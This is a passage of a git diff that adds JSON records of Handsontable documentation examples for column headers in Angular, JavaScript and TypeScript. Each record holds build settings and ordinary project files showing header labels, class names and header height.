headers","exampleId":"example3","exampleTitle":"Header labels as a function","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example4.ts.json new file mode 100644 index 00000000..3bcb675c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Customize column headers · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1'],\n ['A2', 'B2', 'C2'],\n ['A3', 'B3', 'C3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htCenter',\n columns: [{ headerClassName: 'htRight' }, { headerClassName: 'htLeft' }, {}]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example4.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example4","exampleTitle":"Customize column headers","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example5.ts.json new file mode 100644 index 00000000..a0a3ee55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Customize column headers (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example5',\n template: `\n \n \n `,\n styles: `\n :host ::ng-deep {\n .bold-text {\n font-weight: bold;\n }\n .italic-text {\n font-style: italic;\n }\n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1'],\n ['A2', 'B2', 'C2', 'D2'],\n ['A3', 'B3', 'C3', 'D3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htLeft',\n columns: [\n { headerClassName: 'italic-text' },\n { headerClassName: 'bold-text italic-text' },\n { headerClassName: 'htRight bold-text italic-text' },\n {},\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example5.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example5","exampleTitle":"Customize column headers (2)","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example6.ts.json new file mode 100644 index 00000000..b9e11816 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Header labels in the columns option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example6',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ];\n\n readonly hotSettings: GridSettings = {\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example6.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example7.ts.json new file mode 100644 index 00000000..a5ef14d2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__angular__example7.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column headers · Column header height · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example7',\n template: `\n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n readonly hotData = [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example7.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.js.json new file mode 100644 index 00000000..7b19f781 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example1.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.ts.json new file mode 100644 index 00000000..c7b5697a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example1.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.js.json new file mode 100644 index 00000000..48ff00cb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Header labels as an array · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
